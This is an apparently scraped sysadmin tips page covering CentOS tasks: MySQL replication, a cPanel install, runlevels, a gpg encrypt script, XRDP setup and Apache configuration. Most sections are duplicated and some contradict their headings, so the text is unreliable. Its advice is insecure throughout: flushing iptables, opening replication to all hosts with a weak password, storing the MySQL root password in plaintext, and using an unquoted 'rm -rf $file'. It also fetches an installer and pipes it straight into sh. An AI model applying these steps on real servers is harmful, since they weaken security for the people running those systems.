# hostname
localhost.localdomain
localhost.localdomain
just edit following method
# vi /etc/hosts
127.0.0.1 changename
::1 localhost6.localdomain6 localhost6
# vi /etc/sysconfig/network
HOSTNAME=CHANGENAME
#reboot
now you can get the changed name
127.0.0.1 changename
::1 localhost6.localdomain6 localhost6
# vi /etc/sysconfig/network
HOSTNAME=CHANGENAME
#reboot
now you can get the changed name
31. MySQL Replication in CentOS
Requirement
1.Two host which will communicable
2.Same version of MySQL on both Machine
3.Same DB and users were been on both Machine
Here
Master - 192.168.0.75
Slave - 192.168.0.76
#Master
#vi /etc/my.cnf
[mysqld]
server-id=1
log-bin=master-bin.log
save that file
#Slave
#vi /etc/my.cnf
[mysqld]
server-id=2
relay-log-index=slave-relay-bin.index
relay-log=slave-relay-bin
replicate-wild-ignore-table=mysql.%
replicate-wild-ignore-table=information_schema.%
replicate-wild-ignore-table=performance_schema.%
save that file
#service mysqld restart //execute both machine
#Master
#mysql -u root -p
mysql> show master status \G;
*************************** 1. row ***************************
File: master-bin.000001
Position: 3640
Binlog_Do_DB:
Binlog_Ignore_DB:
1 row in set (0.00 sec)
ERROR:
No query specified
1.Two host which will communicable
2.Same version of MySQL on both Machine
3.Same DB and users were been on both Machine
Here
Master - 192.168.0.75
Slave - 192.168.0.76
#Master
#vi /etc/my.cnf
[mysqld]
server-id=1
log-bin=master-bin.log
save that file
#Slave
#vi /etc/my.cnf
[mysqld]
server-id=2
relay-log-index=slave-relay-bin.index
relay-log=slave-relay-bin
replicate-wild-ignore-table=mysql.%
replicate-wild-ignore-table=information_schema.%
replicate-wild-ignore-table=performance_schema.%
save that file
#service mysqld restart //execute both machine
#Master
#mysql -u root -p
mysql> show master status \G;
*************************** 1. row ***************************
File: master-bin.000001
Position: 3640
Binlog_Do_DB:
Binlog_Ignore_DB:
1 row in set (0.00 sec)
ERROR:
No query specified
mysql>unlock
tables; =====>execute both machine
mysql>grant replication slave on *.* to 'repuser'@'%' identified by 'slavepwd';
mysql>flush privileges;
*.* ==> all db
'%' ==> allow from all IP
#Slave
mysql>change master to
->master_host ='192.168.0.75',
->master_port=3306,
->master_user='repuser',
->master_password='slavepwd',
->master_log_file='master-bin.000001',
->master_log_pos=3640;
mysql>start slave;
mysql>show slave status \G;
///if any error happen then disabled iptables from both machine
///now update any tables from master it will be updated automatically from slave
mysql>grant replication slave on *.* to 'repuser'@'%' identified by 'slavepwd';
mysql>flush privileges;
*.* ==> all db
'%' ==> allow from all IP
#Slave
mysql>change master to
->master_host ='192.168.0.75',
->master_port=3306,
->master_user='repuser',
->master_password='slavepwd',
->master_log_file='master-bin.000001',
->master_log_pos=3640;
mysql>start slave;
mysql>show slave status \G;
///if any error happen then disabled iptables from both machine
///now update any tables from master it will be updated automatically from slave
32. Insatll cPanel in CentOS
Needs
1.fresh CentOS (no Pre-install MySQL or something)
2.hostname should contain two dot like (hostname.name.com) or (hostname)
3.linux run-level must be 3
#yum install perl
#cd /home
#wget -N http://httpupdate.cpanel.net/latest //here you can see the latest file from last line
#sh latest
if you get any hostname related error
#hostname yourhostname.yourdomainname
#sh latest
now you get two or more hours be patient, after success fully installed you can access
https://yourip:2087
1.fresh CentOS (no Pre-install MySQL or something)
2.hostname should contain two dot like (hostname.name.com) or (hostname)
3.linux run-level must be 3
#yum install perl
#cd /home
#wget -N http://httpupdate.cpanel.net/latest //here you can see the latest file from last line
#sh latest
if you get any hostname related error
#hostname yourhostname.yourdomainname
#sh latest
now you get two or more hours be patient, after success fully installed you can access
https://yourip:2087
33. Change Run level in CentOS
Linux run level has
been configured in inittab which located in /etc/inittab
by default all linux has runlevel 5
#vi /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:
by default all linux has runlevel 5
#vi /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:
If you want to change
the run level then edit the following line
id:3:initdefault:
Save the file and
reboot the machine
After reboot you have
the CLI mode. how to go GUI again
#startx
Manually change GUI
to CLI
#switchdesk kde
// from gnome to kde
#startx
#switchdesk gnome
//from kde to gnome
#startx
34. Encrypt a File/Directory in CentOS
First you have to
install pinentry-gui
# yum install pinentry-gui
then create a .sh file
]# vi encrypt.sh
#!/bin/bash
echo "Welcome, I am ready to encrypt a file/folder for you"
echo "currently I have a limitation, Place me to thh same folder, where a file to be
encrypted is present"
echo "Enter the Exact File Name with extension"
read file;
gpg -c $file
echo "I have encrypted the file successfully..."
echo "Now I will be removing the original file"
rm -rf $file
save the file
this script will encrypt file and directories
change file permission
]# chmod 755 encrypt.sh
# yum install pinentry-gui
then create a .sh file
]# vi encrypt.sh
#!/bin/bash
echo "Welcome, I am ready to encrypt a file/folder for you"
echo "currently I have a limitation, Place me to thh same folder, where a file to be
encrypted is present"
echo "Enter the Exact File Name with extension"
read file;
gpg -c $file
echo "I have encrypted the file successfully..."
echo "Now I will be removing the original file"
rm -rf $file
save the file
this script will encrypt file and directories
change file permission
]# chmod 755 encrypt.sh
Execute the script
]# ./encrypt.sh
# ./encrypt.sh
Welcome, I am ready
to encrypt a file/folder for you
currently I have a
limitation, Place me to thh same folder, where a file to be
encrypted is present
Enter the Exact File
Name with extension
Boobalan.docx
┌─────────────────────────────────────────────────────┐
│ Enter passphrase
│
│
│
│
│
│ Passphrase ________________________________________ │
│
│
│ <OK>
<Cancel> │
└─────────────────────────────────────────────────────┘
give the encrypt
password twice. then it will encrypt
gpg -c will encrypt
your file
gpg -d for decrypt
your file
]# gpg -d
Boobalan.docx.gpg >Boobalan.docx
give the password
then your file was successfully decrypt.
35. Easy way to login MySQL in CentOS
There is a way to
login mysql by entering without password often
from your root directory
#vi .my.cnf
[client]
user=root // db username
password=password //db password
then save the file
Now you can enter your database without asking any password like
#mysql
mysql>quit
from your root directory
#vi .my.cnf
[client]
user=root // db username
password=password //db password
then save the file
Now you can enter your database without asking any password like
#mysql
mysql>quit
36. Install XRDP in CentOS
Check your linux
version
#uname -r
then if you have centOS 32 bit
#wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm
then if you have centOS 64 bit
#wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm
#yum repolist
#yum install xrdp tigervnc-server
#service vncserver start
#service xrdp start
#chkconfig xrdp on
#chkconfig vncserver on
now you have to make firewall rule to allow port 3389 or else you can disable firewall service
#iptables -F
or
# iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3389 -j ACCEPT
# service iptables save
# service iptables restart
you can check
# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 2337/xrdp
or
#iptables -L
now you can get remote over your windows.
#uname -r
then if you have centOS 32 bit
#wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm
then if you have centOS 64 bit
#wget http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
#rpm -ivh epel-release-6-8.noarch.rpm
#yum repolist
#yum install xrdp tigervnc-server
#service vncserver start
#service xrdp start
#chkconfig xrdp on
#chkconfig vncserver on
now you have to make firewall rule to allow port 3389 or else you can disable firewall service
#iptables -F
or
# iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3389 -j ACCEPT
# service iptables save
# service iptables restart
you can check
# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 2337/xrdp
or
#iptables -L
now you can get remote over your windows.
37. Download Youtube Video using VLC
1. copy your youtube
video url
2. open VLC open media (ctrl+N) paste in network url and play
3. go to tools -> code information(ctrl+J) copy the location address
4. paste into your web browser url
5. then right click the video page and click save video as
Method 2
1. copy your youtube video url
2. open VLC open media (ctrl+N) paste in network url and select convert
3. mention the destination location and format finally hit start
2. open VLC open media (ctrl+N) paste in network url and play
3. go to tools -> code information(ctrl+J) copy the location address
4. paste into your web browser url
5. then right click the video page and click save video as
Method 2
1. copy your youtube video url
2. open VLC open media (ctrl+N) paste in network url and select convert
3. mention the destination location and format finally hit start
38. Mapping URL to file directory in centos
# vi
/etc/httpd/conf/httpd.conf
DocumentRoot
"/var/www/html"
//change your site
directory here like
DocumentRoot
"/var/www/html/yoursitename"
39. Web access to the files directory, should not be allowed
Check the .htaccess file and the web server configuration.
need to edit httpd
config file like
#vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride All
#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory>
#vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride All
#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory>
Here change AllowOverride
None to AllowOverride All
40. Apache Virtual Hosting name based in CentOS
edit
# vi /etc/httpd/conf/httpd.conf
find NameVirtualHost *:80 and un-command this line
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app1
ServerName app1.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app2
ServerName app2.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app3
ServerName app3.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
# vi /etc/httpd/conf/httpd.conf
find NameVirtualHost *:80 and un-command this line
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app1
ServerName app1.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app2
ServerName app2.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin admin mail id
DocumentRoot /var/www/html/app3
ServerName app3.example.in
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
save and exit the file
#service httpd restart




















0 Comments